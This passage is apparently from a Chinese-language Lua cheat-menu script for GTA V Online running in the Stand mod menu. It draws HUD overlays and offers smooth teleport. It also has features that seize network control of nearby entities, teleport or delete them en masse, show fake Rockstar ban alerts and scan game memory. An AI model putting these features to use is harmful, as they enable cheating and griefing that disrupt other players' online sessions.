                temp_favorite_maps[#temp_favorite_maps+1] = path:gsub(maps_dir, '')
            end
        end
    end


    all_maps = temp_maps
    favorite_maps = temp_favorite_maps
    menu.set_list_action_options(load_map_action, all_maps)
    menu.set_list_action_options(load_favorite_map_action, favorite_maps)
end

function get_all_vehicles_in_dir()
    local temp_vehicles = {}
    local temp_favorite_vehicles = {}
    local temp_favorite_maps = {}
    local supported_formats = {'.xml', '.ini', '.json'}
    for i, path in ipairs(filesystem.list_files(vehicles_dir)) do
        for _, fmt in pairs(supported_formats) do 
            if string.match(path:gsub(vehicles_dir, ''), fmt) then
                temp_vehicles[#temp_vehicles + 1] = path:gsub(vehicles_dir, '')
                if string.startswith(path:gsub(vehicles_dir, ''), '[F]') then 
                    temp_favorite_vehicles[#temp_favorite_vehicles+1] = path:gsub(vehicles_dir, '')
                end
            end
        end
    end

    all_vehicles = temp_vehicles
    favorite_vehicles = temp_favorite_vehicles
    menu.set_list_action_options(load_vehicle_action, all_vehicles)
    menu.set_list_action_options(load_favorite_vehicle_action, favorite_vehicles)
end

get_all_vehicles_in_dir()
get_all_maps_in_dir()

util.create_thread(function()
    while true do
        get_all_vehicles_in_dir()
        get_all_maps_in_dir()
        wait(5000)
    end
end)

GTAC(toolFeats, "平滑瞬移", {"stp"}, "在相机平稳的情况下将您传送到您的航点。", function ()
    SmoothTeleportToCord(Get_Waypoint_Pos2(), FRAME_STP)
end)

GTTG(toolFeats, "平滑传送帧", {"stpv2"}, "使您或您的车辆与相机一起传送，以实现“更顺畅”的传送。", function(toggle)
    FRAME_STP = toggle
end)

GTAC(toolFeats, "重置相机", {"resetstp"}, "将脚本 cam 渲染为 false，同时销毁当前 cam。 因为如果你传送到海里，然后相机就死了。", function ()
    local renderingCam = CAM.GET_RENDERING_CAM()
    CAM.RENDER_SCRIPT_CAMS(false, false, 0, true, true, 0)
    CAM.DESTROY_CAM(renderingCam, true)
end)

local stpsettings = GT(toolFeats, "平滑TP设置", {}, "")

GTluaScript.slider(stpsettings, "速度修改器（x）/10", {"stpspeed"}, "用于平滑 tp 的速度修改器，乘法。 这将除以 10，因为滑块不能采用非整数", 1, 100, 10, 1, function(value)
    local multiply = value / 10
    if SE_Notifications then
        util.toast("SmoothTP 速度倍增器设置为 " .. tostring(multiply) .. "!")
    end
    STP_SPEED_MODIFIER = 0.02 
    STP_SPEED_MODIFIER = STP_SPEED_MODIFIER * multiply
end)

GTluaScript.slider(stpsettings, "凸轮过渡的高度（米）", {"stpheight"}, "在进行过渡时设置相机的高度。", 0, 10000, 300, 10, function (value)
    local height = value
    if SE_Notifications then
        util.toast("SmoothTP 高度设置为 " .. tostring(height) .. "!")
    end
    STP_COORD_HEIGHT = height
end)

GTLP(toolFeats, "绘制位置", {"drawpos"},  "", function ()
    local pos = ENTITY.GET_ENTITY_COORDS(GetLocalPed())
    local cc = {r = 1.0, g = 1.0, b = 1.0, a = 1.0}
    directx.draw_text(0.0, 0.0, "x: " .. pos.x .. " // y: " .. pos.y .. " // z: " .. pos.z, ALIGN_TOP_LEFT, DR_TXT_SCALE, cc, false)
end)

GTLP(toolFeats, "绘制旋转", {"drawrot"}, "", function ()
    local rot = ENTITY.GET_ENTITY_ROTATION(GetLocalPed(), 2)
    local cc = {r = 1.0, g = 1.0, b = 1.0, a = 1.0}
    directx.draw_text(0.5, 0.03, "pitch: " .. rot.x .. " // roll: " .. rot.y .. " // yaw: " .. rot.z, ALIGN_CENTRE, DR_TXT_SCALE, cc, false)
    local facingtowards
    if ((rot.z >= 135) or (rot.z < -135)) then facingtowards = "-Y"
    elseif ((rot.z < 135) and (rot.z >= 45)) then facingtowards = "-X"
    elseif ((rot.z >= -135) and (rot.z < -45)) then facingtowards = "+X"
    elseif ((rot.z >= -45) or (rot.z < 45)) then facingtowards = "+Y" end
    directx.draw_text(0.5, 0.07, "Facing towards " .. facingtowards, ALIGN_CENTRE, DR_TXT_SCALE, cc, false)
end)

GTLP(toolFeats, "绘制实体池", {"drawentpool"}, "", function ()
    local cc = {r = 1.0, g = 1.0, b = 20.0, a = 0.5}
    if EP_drawveh then
        local vehpool = entities.get_all_vehicles_as_pointers()
        directx.draw_text(EPS_vehx, EPS_vehy, "载具：" .. #vehpool, ALIGN_TOP_LEFT, DR_TXT_SCALE, cc, false)
    end
    if EP_drawped then
        local pedpool = entities.get_all_peds_as_pointers()
        directx.draw_text(EPS_pedx, EPS_pedy, "PED：" .. #pedpool, ALIGN_TOP_LEFT, DR_TXT_SCALE, cc, false)
    end
    if EP_drawobj then
        local objpool = entities.get_all_objects_as_pointers()
        directx.draw_text(EPS_objx, EPS_objy, "实体：" .. #objpool, ALIGN_TOP_LEFT, DR_TXT_SCALE, cc, false)
    end
    if EP_drawpick then
        local pickpool = entities.get_all_pickups_as_pointers()
        directx.draw_text(EPS_pickx, EPS_picky, "拾取物：" .. #pickpool, ALIGN_TOP_LEFT, DR_TXT_SCALE, cc, false)
    end
end)

local ePS = GT(toolFeats,"实体池设置", {}, "")
GTTG(ePS, "绘制车辆", {}, "", function (toggle)
    EP_drawveh = toggle
end, true)
GTluaScript.slider(ePS, "车辆文字摆放X", {"epvehposx"}, "/100", 0, 100, 0, 1, function (value)
    EPS_vehx = value / 100
end) 
GTluaScript.slider(ePS, "车辆文字摆放Y", {"epvehposy"}, "/100", 0, 100, 3, 1, function (value)
    EPS_vehy = value / 100
end)
GTTG(ePS, "绘制行人", {}, "", function (toggle)
    EP_drawped = toggle
end, true)
GTluaScript.slider(ePS, "Ped 文本放置 X", {"eppedposx"}, "/100", 0, 100, 0, 1, function (value)
    EPS_pedx = value / 100
end)
GTluaScript.slider(ePS, "Ped 文本放置 Y", {"eppedposy"}, "/100", 0, 100, 5, 1, function (value)
    EPS_pedy = value / 100
end)
GTTG(ePS, "绘制物体", {}, "", function (toggle)
    EP_drawobj = toggle
end, true)
GTluaScript.slider(ePS, "物体文字放置X", {"epobjposx"}, "/100", 0, 100, 0, 1, function (value)
    EPS_objx = value / 100
end)
GTluaScript.slider(ePS, "物体文字位置Y", {"epobjposy"}, "/100", 0, 100, 7, 1, function (value)
    EPS_objy = value / 100
end)
GTTG(ePS, "绘制拾音器", {}, "", function (toggle)
    EP_drawpick = toggle
end, true)
GTluaScript.slider(ePS, "拾取文本放置X拾取文本放置Y绘制拾取", {"epickjposx"}, "/100", 0, 100, 0, 1, function (value)
    EPS_pickx = value / 100
end)
GTluaScript.slider(ePS, "拾取文本位置Y", {"epickjposy"}, "/100", 0, 100, 9, 1, function (value)
    EPS_picky = value / 100
end)

GTluaScript.slider(toolFeats, "文本大小（/10）", {"drscale"}, "将文本的比例设置为您指定的值，除以 10。这是因为它只采用整数值。", 1, 50, 5, 1, function (value)
    DR_TXT_SCALE = value / 10
end)

GTD(toolFeats, "设置")
GTluaScript.slider(toolFeats, "文本比例 (/10)", {"drscale"}, "将文本的比例设定为您指定的值, 除以10. 这是因为它只接受整数值.", 1, 50, 5, 1, function (value)
    DR_TXT_SCALE = value / 10
end)

GTD(toolFeats, "其他")

----
createPed = PED.CREATE_PED
getEntityCoords = ENTITY.GET_ENTITY_COORDS
getPlayerPed = PLAYER.GET_PLAYER_PED
requestModel = STREAMING.REQUEST_MODEL
hasModelLoaded = STREAMING.HAS_MODEL_LOADED
noNeedModel = STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED
setPedCombatAttr = PED.SET_PED_COMBAT_ATTRIBUTES
giveWeaponToPed = WEAPON.GIVE_WEAPON_TO_PED

WhiteText = {r = 1.0, g = 1.0, b = 1.0, a = 1.0}
YOINK_PEDS = false
YOINK_VEHICLES = false
YOINK_OBJECTS = false
YOINK_PICKUPS = false

YOINK_RANGE = 500

Yoinkshit = false

GTTG(toolFeats, "控制器", {}, "", function (yoink)
    if yoink then
        Yoinkshit = true
        util.create_thread(function()
            while Yoinkshit do
                local yoinksq = YOINK_RANGE^2
                local localCoord = getEntityCoords(getPlayerPed(players.user()))
                local BigTable = {}
                if YOINK_PEDS then
                    local pedTable = entities.get_all_peds_as_pointers()
                    for i = 1, #pedTable do
                        local coord = entities.get_position(pedTable[i])
                        local distsq = SYSTEM.VDIST2(coord.x, coord.y, coord.z, localCoord.x, localCoord.y, localCoord.z)
                        local handle = entities.pointer_to_handle(pedTable[i])
                        if not PED.IS_PED_A_PLAYER(handle) then
                            if distsq <= yoinksq then
                                BigTable[#BigTable+1] = handle
                            end
                        end
                    end
                end
                wait()
                if YOINK_VEHICLES then
                    local vehTable = entities.get_all_vehicles_as_pointers()
                    for i = 1, #vehTable do
                        local coord = entities.get_position(vehTable[i])
                        local distsq = SYSTEM.VDIST2(coord.x, coord.y, coord.z, localCoord.x, localCoord.y, localCoord.z)
                        if distsq <= yoinksq then
                            BigTable[#BigTable+1] = entities.pointer_to_handle(vehTable[i])
                        end
                    end
                end
                wait()
                if YOINK_OBJECTS then
                    local objTable = entities.get_all_objects_as_pointers()
                    for i = 1, #objTable do
                        local coord = entities.get_position(objTable[i])
                        local distsq = SYSTEM.VDIST2(coord.x, coord.y, coord.z, localCoord.x, localCoord.y, localCoord.z)
                        if distsq <= yoinksq then
                            BigTable[#BigTable+1] = entities.pointer_to_handle(objTable[i])
                        end
                    end
                end
                if YOINK_PICKUPS then
                    local pickTable = entities.get_all_pickups_as_pointers()
                    for i = 1, #pickTable do
                        local coord = entities.get_position(pickTable[i])
                        local distsq = SYSTEM.VDIST2(coord.x, coord.y, coord.z, localCoord.x, localCoord.y, localCoord.z)
                        if distsq <= yoinksq then
                            BigTable[#BigTable+1] = entities.pointer_to_handle(pickTable[i])
                        end
                    end
                end
                for i = 1, #BigTable do
                    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(BigTable[i])
                    wait()
                end
                util.toast("请求控制所有")
                wait()
            end
            util.stop_thread()
        end)
    else
        Yoinkshit = false
    end
end)
local yoinkSettings = GT(toolFeats, "控制设置", {}, "")
GTluaScript.slider(yoinkSettings, "管理范围", {"yoinkrange"}, "", 1, 5000, 500, 10, function (value)
    YOINK_RANGE = value
end)
GTTG(yoinkSettings, "PED", {}, "", function (peds)
    YOINK_PEDS = peds
end)
GTTG(yoinkSettings, "载具", {}, "", function (vehs)
    YOINK_VEHICLES = vehs
end)
GTTG(yoinkSettings, "物体", {}, "", function (objs)
    YOINK_OBJECTS = objs
end)
GTTG(yoinkSettings, "收集品", {}, "", function (pick)
    YOINK_PICKUPS = pick
end)


local tpyoink = GT(toolFeats, "传送所有到我", {}, "")

GTAC(tpyoink, "传送所有PED", {}, "", function ()
    TpAllPeds(players.user())
end)
GTAC(tpyoink, "传送所有载具", {}, "WARNING: DANGEROUS SHIT!", function()
    TpAllVehs(players.user())
end)
GTAC(tpyoink, "传送所有物体", {}, "WARNING: BIG CHANCE YOU MIGHT CRASH!", function ()
    TpAllObjects(players.user())
end)
GTAC(tpyoink, "传送所有收集品", {}, "", function ()
    TpAllPickups(players.user())
end)


local clearAreaTools = GT(toolFeats, "清理区域", {}, "")
CLEAR_AREA_RANGE = 100
local function clearAreaOfEntities(tbl, range)
    local rangesq = range*range
    local pc = ENTITY.GET_ENTITY_COORDS(GetLocalPed())
    for _, v in pairs(tbl) do
        local cc = entities.get_position(v)
        if (SYSTEM.VDIST2(pc.x, pc.y, pc.z, cc.x, cc.y, cc.z) <= rangesq) then
            local h = entities.pointer_to_handle(v)
            if (ENTITY.IS_ENTITY_A_PED(h) and not PED.IS_PED_A_PLAYER(h)) or (not ENTITY.IS_ENTITY_A_PED(h)) then
                for i = 0, 20 do NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(h) end
                entities.delete_by_handle(h)
            end
        end
    end
end
GTAC(clearAreaTools, "清理PED", {"clearpeds"}, "", function ()
    local pp = entities.get_all_peds_as_pointers()
    clearAreaOfEntities(pp, CLEAR_AREA_RANGE)
end)
GTAC(clearAreaTools, "清理载具", {"clearvehs"}, "", function ()
    local vp = entities.get_all_vehicles_as_pointers()
    clearAreaOfEntities(vp, CLEAR_AREA_RANGE)
end)
GTAC(clearAreaTools, "清理物体", {"clearobjs"}, "", function ()
    local op = entities.get_all_objects_as_pointers()
    clearAreaOfEntities(op, CLEAR_AREA_RANGE)
end)
GTAC(clearAreaTools, "清理收集品", {"clearpickups"}, "", function ()
    local pp = entities.get_all_pickups_as_pointers()
    clearAreaOfEntities(pp, CLEAR_AREA_RANGE)
end)
GTAC(clearAreaTools, "清理所有绳索", {"clearropes"}, "", function() 
    for i = 0, 100 do
        PHYSICS.DELETE_CHILD_ROPE(i)
    end
end)
GTluaScript.slider(clearAreaTools, "清理区域范围", {"cleararearange"}, "", 1, 10000, 100, 50, function (value)
    CLEAR_AREA_RANGE = value
end)

function xianshishijian(state)
    timeos = state
        if timeos then
            while timeos do
                wait(0)
                draw_string(string.format(os.date('~bold~~italic~~b~%Y-%m-%d ~b~%H:%M:%S', os.time())), 0.83,0.1, 0.5,5)
                end
            end 
    end
    
zhujixianshi = GT(other_options, "显示选项")
zanzhuzx = GT(other_options, "致谢人员")
minimap = GT(other_options, "小地图")
misclightmenu = GT(other_options, "追光灯")

displayfolder = filesystem.stand_dir().."\\Lua Scripts\\lib\\GTSCRIPTS\\GTW"
GTAC(zhujixianshi, "更改显示选项配置",{""}, "点击这个选项即可前往更改\n打开文件夹中的display文件\n请您编辑on(开启)与off(关闭)\n请勿编辑除on与off以外任何文字\n最后关闭文件时记得保存喔~", function()
util.open_folder(displayfolder)
end)

anjian = GT(zhujixianshi, '按键显示', {''}, '')
nextcons = GT(zhujixianshi, "控制台")
local fakemessages_root = GT(onlinemode, "虚假警告", {}, "虚假信息屏幕")

GTluaScript.slider(fakemessages_root, "延迟虚假消息", {}, "在显示虚假消息之前等待多长时间（以秒为单位）", 0, 300, 0, 1, function(s)
    fake_alert_delay = s*1000
end)

local fake_suspend_date = "2023年1月1日"
GTluaScript.text_input(fakemessages_root, "自定义暂停日期", {"customsuspensiondate"}, "" , function(on_input)
    fake_suspend_date = on_input
end, "2023年1月1日")

local custom_alert = "你好世界！"
GTAC(fakemessages_root, "自定义虚假消息文本", {"customfakealert"}, "输入您的虚假消息应显示的内容", function(on_click)
    notification("请输入您希望警告显示的内容", colors.blue)
    menu.show_command_box("customfakealert" .. " ")
end, function(on_command)
    show_custom_alert_until_enter(on_command)
end)

alert_options = {"禁令1", "禁令2", "服务不可用", "Stand天下第一!", "暂时封禁", "自定义"}
GTLuaScript.list_action(fakemessages_root, "假警报", {"fakealert"}, "", alert_options, function(index, value, click_type)
    pluto_switch index do 
        case 1: 
            show_custom_alert_until_enter("您已被禁止进入GTA在线模式。~n~返回Grand Theft Auto V。")
            break 
        case 2:
            show_custom_alert_until_enter("您已被永久禁止进入GTA在线模式。~n~返回Grand Theft Auto V。")
            break
        case 3:
            show_custom_alert_until_enter("Rockstar游戏服务当前不可用。~n~请返回Grand Theft Auto V。")
            break
        case 4:
            show_custom_alert_until_enter("Stand天下第一!")
            break
        case 5:
            show_custom_alert_until_enter("您已被禁止进入GTA在线模式直到 " .. fake_suspend_date .. ".~n~此外,您的GTA在线模式角色将被重置。~n~Grand Theft Auto V。")
            break
        case 6:
            show_custom_alert_until_enter(custom_alert)
            break
    end
end)

zjxlid = GT(zhujixianshi, "主机序列")
replayInterface = memory.read_long(memory.rip(memory.scan("48 8D 0D ? ? ? ? 48 8B D7 E8 ? ? ? ? 48 8D 0D ? ? ? ? 8A D8 E8 ? ? ? ? 84 DB 75 13 48 8D 0D") + 3))
pedInterface = memory.read_long(replayInterface + 0x0018)
vehInterface = memory.read_long(replayInterface + 0x0010)
objectInterface = memory.read_long(replayInterface + 0x0028)
pickupInterface = memory.read_long(replayInterface + 0x0020)
zhuji_x = 0.17
zhuji_y = 0.77
zhuji_dx = 0.3
dx_dxs = 0.01
zhuji_dx = 0.3
fps = 0
zhujixvlie = GTLP(zjxlid, "主机序列", {"hostqu"}, "", function(zhuji)
inviciamountint = 0
for pid = 0, 31 do
if players.exists(pid) and pid ~= players.user() then
local pped = players.user_ped(pid)
if pped ~= 0 then
if players.is_marked_as_modder(pid) then
inviciamountint = inviciamountint + 1
end
end
end
local ente
local ent1e = players.user_ped()
local ent2e = PED.GET_VEHICLE_PED_IS_USING(players.user_ped())
if PED.IS_PED_IN_ANY_VEHICLE(ent1e,true) then
ente = ent2e
else
ente = ent1e
end
local speede = ENTITY.GET_ENTITY_SPEED(ente)
local speedcalce = speede * 3.6
myspeed1e = math.ceil(speedcalce)
end
inviciamountintt = inviciamountint
draw_string(string.format("~h~~f~FPS: ~w~"..fps), zhuji_x,zhuji_y+0.0026, zhuji_dx,zhuji_dx)
draw_string(string.format("~h~~y~"..myspeed1e.." ~q~K~g~M~f~/H"), zhuji_x,zhuji_y+0.028, zhuji_dx,zhuji_dx)
draw_string(string.format("~h~~p~时间:~h~~w~"..os.date("%X")), zhuji_x,zhuji_y+0.055, zhuji_dx,zhuji_dx)    
draw_string(string.format("~h~~y~战局玩家: ~h~~w~"..#players.list()), zhuji_x,zhuji_y+0.085, zhuji_dx,zhuji_dx) 
draw_string(string.format("~h~~p~作弊玩家: ~h~~r~"..inviciamountintt), zhuji_x,zhuji_y+0.113, zhuji_dx,zhuji_dx) 
if PLAYER.GET_PLAYER_NAME(players.get_host()) == "**Invalid**" then
draw_string(string.format("~h~~f~战局主机: ~h~~w~没有人"), zhuji_x,zhuji_y+0.14, zhuji_dx,zhuji_dx)
else
draw_string(string.format("~h~~f~战局主机: ~h~~w~"..players.get_name(players.get_host())), zhuji_x,zhuji_y+0.14, zhuji_dx,zhuji_dx)
end
if PLAYER.GET_PLAYER_NAME(players.get_script_host()) == "**Invalid**" then
draw_string(string.format("~h~~q~脚本主机: ~h~~w~没有人"), zhuji_x,zhuji_y+0.17, zhuji_dx,zhuji_dx)
else
draw_string(string.format("~h~~q~脚本主机: ~h~~w~"..players.get_name(players.get_script_host())), zhuji_x,zhuji_y+0.17, zhuji_dx,zhuji_dx)
end
local hostxvlie = players.get_host_queue_position(players.user())
if hostxvlie == 0 then
draw_string(string.format("~h~~p~你现在是~f~战局主机"), zhuji_x,zhuji_y+0.20, zhuji_dx,zhuji_dx) 
else
draw_string(string.format("~h~~p~你的主机~f~优先度:~h~~w~ "..hostxvlie), zhuji_x,zhuji_y+0.20, zhuji_dx,zhuji_dx) 
end	
end)
util.create_thread(function()
while true do
fps = math.ceil(1/SYSTEM.TIMESTEP())
wait(500)
end
end)

GTluaScript.slider(zjxlid, '主机序列移动 X轴', {'hostqumovex'}, '',1, 900, 160, 20, function(x_x)
	zhuji_x = x_x / 900
end)

GTluaScript.slider(zjxlid, '主机序列移动 Y轴', {'hostqumovey'}, '' , 1, 900, 770, 20, function(y_y)
	zhuji_y = y_y / 900
end)

GTluaScript.slider(zjxlid, '主机序列 大小', {''}, '',1, 900, 280, 10, function(zhuji_d)
zhuji_dx = zhuji_d / 900
end)


function scripthosts()
    inviciamountint = 0
    for pid = 0, 31 do
    if players.exists(pid) and pid ~= players.user() then
    local pped = players.user_ped(pid)
    if pped ~= 0 then
    if players.is_marked_as_modder(pid) then
    inviciamountint = inviciamountint + 1
    end
    end
    end
local ente
local ent1e = players.user_ped()
local ent2e = PED.GET_VEHICLE_PED_IS_USING(players.user_ped())
if PED.IS_PED_IN_ANY_VEHICLE(ent1e,true) then
ente = ent2e
else
ente = ent1e
end
local speede = ENTITY.GET_ENTITY_SPEED(ente)
local speedcalce = speede * 3.6
myspeed1e = math.ceil(speedcalce)
end
inviciamountintt = inviciamountint
draw_string(string.format("~h~~w~实  体  池  信  息:\n~p~玩家~m~   : ~p~".. PLAYER.GET_PLAYER_NAME(players.user()).. "~"..memory.read_int(pedInterface ).."/"..memory.read_int(pedInterface)), 0,0, 0.4,1)
draw_string(string.format("\n~h~~g~PED ~m~  : ~g~"..memory.read_int(pedInterface + 0x0110).."/"..memory.read_int(pedInterface + 0x0108)), 0,0.03, 0.4,1)
draw_string(string.format("\n~h~~y~载具 ~m~  : ~y~"..memory.read_int(vehInterface + 0x0190).."/"..memory.read_int(vehInterface + 0x0188)), 0,0.06, 0.4,1)
draw_string(string.format("\n~h~~r~实体 ~m~  : ~r~"..memory.read_int(objectInterface + 0x0168).."/"..memory.read_int(objectInterface + 0x0160)), 0,0.09, 0.4,1)
draw_string(string.format("\n~h~~q~物体~m~   :~q~ "..memory.read_int(pickupInterface + 0x0110).."/"..memory.read_int(pickupInterface + 0x0108)), 0,0.12, 0.4,1)
end

scriptname = GT(zhujixianshi, "显示脚本名称")
GTTG(scriptname, "显示脚本名称", {"scriptname"}, "", function(state)
    xianshijiaoben(state)
end)

GTluaScript.slider(scriptname, '脚本名称 X轴', {''}, '',1, 900, 380, 5, function(jb_x)
jiaoben_x = jb_x / 900
end)  

GTluaScript.slider(scriptname, '脚本名称 Y轴', {''}, '',1, 900, 0, 5, function(jb_y)
jiaoben_y = jb_y / 900
end)

GTluaScript.slider(scriptname, '脚本名称 大小', {''}, '',1, 900, 420, 5, function(jb_dx)
jiaoben_dx = jb_dx / 900
end)

WaterMark = GT(other_options, "GT信息栏", {""}, "非常好看且实用的信息显示~")
rainbowinfo = GTAC(WaterMark, "开启信息显示", {""}, "开启该功能选项在最下方", function()
dofile(filesystem.scripts_dir().."\\lib\\GTSCRIPTS\\GTW\\WM.lua")
GTLuaScript.delete(rainbowinfo)
end)

GTTG(zhujixianshi, "禁用地图", {""}, "", function(f)
    disableMap = f
    while disableMap do
        HUD.HIDE_HUD_AND_RADAR_THIS_FRAME()
        wait(0)
    end
end)

--[[GTTG(zhujixianshi, "扫描文字", {""}, "", function(f)
saomiaoziti(f)
end)

cyclestart = GTTG(zhujixianshi, "扫描圆", {"cycledet"}, "", smyuan) 
menu.trigger_commands("cycledet on")]]


GTLP(zhujixianshi, "路牌", {"lupai"}, "", function()         
    GRAPHICS.DRAW_RECT(0.15, 0.12, 0.2, 0.23, 0, 20, 255, 255)
    GRAPHICS.DRAW_RECT(0.15, 0.12, 0.19, 0.22, 255, 255, 255, 255)
    GRAPHICS.DRAW_RECT(0.15, 0.12, 0.188, 0.218, 0, 20, 255, 255)
    GRAPHICS.DRAW_RECT(0.065, 0.026, 0.02, 0.03, 255, 255, 255, 255)
    GRAPHICS.DRAW_RECT(0.15, 0.155, 0.10, 0.01, 255, 255, 255, 255)
    GRAPHICS.DRAW_RECT(0.15, 0.188, 0.01, 0.07, 255, 255, 255, 255)
    GRAPHICS.DRAW_RECT(0.15, 0.026, 0.040, 0.03, 255, 0, 0, 255)
    HUD.SET_TEXT_SCALE(0.5,0.4)
    HUD.SET_TEXT_FONT(0)
    HUD.SET_TEXT_CENTRE(1)
    HUD.SET_TEXT_OUTLINE(0)
    HUD.SET_TEXT_COLOUR(255, 255, 255, 255)
    util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("                           东                 G520Y")
    HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.065, 0.010)
    HUD.SET_TEXT_SCALE(0.5,0.4)
    HUD.SET_TEXT_FONT(0)
    HUD.SET_TEXT_CENTRE(1)
    HUD.SET_TEXT_OUTLINE(0)
    HUD.SET_TEXT_COLOUR(255, 255, 255, 255)
    util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("~h~      广   州")
    HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.073, 0.071)
    HUD.SET_TEXT_SCALE(0.5,0.3)
    HUD.SET_TEXT_FONT(0)
    HUD.SET_TEXT_CENTRE(1)
    HUD.SET_TEXT_OUTLINE(0)
    HUD.SET_TEXT_COLOUR(255, 255, 255, 255)
    util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("~h~Guang Zhou")
    HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.085, 0.10)
    HUD.SET_TEXT_SCALE(0.5,0.4)
    HUD.SET_TEXT_FONT(0)
    HUD.SET_TEXT_CENTRE(1)
    HUD.SET_TEXT_OUTLINE(0)
    HUD.SET_TEXT_COLOUR(255, 255, 255, 255)
    util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("~h~      深    圳")
    HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.20, 0.071)
    HUD.SET_TEXT_SCALE(0.5,0.3)
    HUD.SET_TEXT_FONT(0)
    HUD.SET_TEXT_CENTRE(1)
    HUD.SET_TEXT_OUTLINE(0)
    HUD.SET_TEXT_COLOUR(255, 255, 255, 255)
    util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("~h~Shen Zhen")
    HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.21, 0.10)
    draw_string(string.format("~h~~w~限速 "..myspeed1e.." ~w~公里"), 0.075,0.19, 0.3,0.3)
end)

lscolor = {r = 0, g = 0, b = 0, a = 1}
GTLP(zhujixianshi, "想你的风吹到了洛圣都", {}, "", function ()
    GRAPHICS.DRAW_RECT(0.15, 0.10, 0.22, 0.07, 70, 100, 255, 255)
    draw_string(string.format("~bold~~w~~h~想你的风吹到了洛圣都"), 0.045,0.07, 0.66,1)
    GRAPHICS.DRAW_RECT(0.15, 0.15, 0.22, 0.0325, 200, 200, 200, 255)
    draw_string(string.format("~w~The wind that misses you has blown to Los Santos"), 0.056,0.139,0.25,1)
    draw_string(string.format("~w~南"), 0.044,0.136, 0.30,1)
    draw_string(string.format("~w~北"), 0.246,0.136, 0.30,1)
    --directx.draw_text(0.0525, 0.14, "The wind that misses you has blown to Los Santos", 0, 0.5, lscolor , false)
    --directx.draw_text(0.0420, 0.1383, "南", 0, 0.56, lscolor , false)
    --directx.draw_text(0.2470, 0.1386, "北", 0, 0.56, lscolor , false)
end)

GTTG(zhujixianshi, "显示当前余额", {''}, "", function(f)
    ybye = f
        while ybye do
        HUD.SET_MULTIPLAYER_WALLET_CASH()
        HUD.SET_MULTIPLAYER_BANK_CASH()
        wait(0)
        end
        HUD.REMOVE_MULTIPLAYER_WALLET_CASH()
        HUD.REMOVE_MULTIPLAYER_BANK_CASH()
end)
    
GTTG(zhujixianshi, "一键瞎眼", {""}, "", function(f) 
    disableMap = f
    while disableMap do
        MISC.SET_OVERRIDE_WEATHER("BLIZZARD")
        wait(0)
        MISC.SET_OVERRIDE_WEATHER("CLEARING")
        wait(0)
    end 
end)

GTLP(zhujixianshi, "名称信息", {"scriptinfo"}, "", function()
HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.5,0.125,0)
GRAPHICS.DRAW_RECT(0.001, 0.999, 0, 0.085, 0, 0, 0, 0)
HUD.SET_TEXT_SCALE(1.0,0.53)
HUD.SET_TEXT_COLOUR(60,100,255,255)
HUD.SET_TEXT_FONT(2)
HUD.SET_TEXT_CENTRE(true)
HUD.SET_TEXT_OUTLINE(true)
util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("~f~G~q~r~r~a~b~n~g~d~y~T~q~o~f~u~p~r~f~i~q~n~r~gV~b~I~g~P~")
HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.05,0,0)
end)

GTTG(zhujixianshi, "显示时间", {"timeos"}, "", function(state)
    timeos = state
    if timeos then
    while timeos do
    wait(0)
    GRAPHICS.DRAW_RECT(0.91685, 0.1175, 0.1560, 0.03755, 80, 20, 100, 255)
    GRAPHICS.DRAW_RECT(0.91685, 0.0995, 0.1560, 0.00755, 120, 100, 180, 255)
    draw_string(string.format(os.date("~h~GTMENU：" .. GT_version .. " >%H:%M:%S", os.time())), 0.8506,0.1066, 0.355,255)
    end
    end 
    end)
    
    GTTG(zhujixianshi, "显示日期", {"dayos"}, "", function(state)
    dayos = state
    if dayos then
    while dayos do
    wait(0)
    GRAPHICS.DRAW_RECT(0.91685, 0.0645, 0.1560, 0.03755, 20, 70, 120, 255)
    GRAPHICS.DRAW_RECT(0.91685, 0.0465, 0.1560, 0.00755, 200, 50, 150, 255)
    draw_string(string.format(os.date("~h~GTMENU：" .. GT_version .. " >%Y/%m/%d", os.time())), 0.8416,0.0530, 0.355,255)
    end
    end 
    end)

    alpha = 0 
    increasing = true 
    colors = { {255, 0, 0}, {0, 255, 0},  {0, 0, 255},  {255, 0, 255},  {0, 255, 255}, {255, 255, 255}, {0, 0, 0}, } 
    currentColorIndex = 1 
    GTLP(zhujixianshi, "嗨起来", {""}, "Space Club", function()     
        local currentColor = colors[currentColorIndex]     
        alpha = (increasing and alpha < 255) and alpha + 15 or (not increasing and alpha > 0) and alpha - 15 or alpha --改变跳动速度
                
        if alpha == 255 then         
            increasing = false     
        elseif alpha == 0 then         
            increasing = true         
            currentColorIndex = currentColorIndex % #colors + 1    
        end   
        HUD.SET_TEXT_SCALE(3.0,3)--字体大小
        HUD.SET_TEXT_FONT(0)
        HUD.SET_TEXT_CENTRE(1)
        HUD.SET_TEXT_OUTLINE(0)
        HUD.SET_TEXT_COLOUR(60, 255, 255, 255)--字体颜色
        util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("GRANDTOURINGVIP YYDS!!!")
        HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.5,0.4,0)--字体位置
        WIRI_CAM.SET_CINEMATIC_BUTTON_ACTIVE(false)     
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.01, 0.01, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.05, 0.05, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小 
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.10, 0.10, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.15, 0.15, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
        GRAPHICS.DRAW_RECT(0.5, 0.5, 0.20, 0.20, currentColor[1], currentColor[2], currentColor[3], alpha) --背景大小
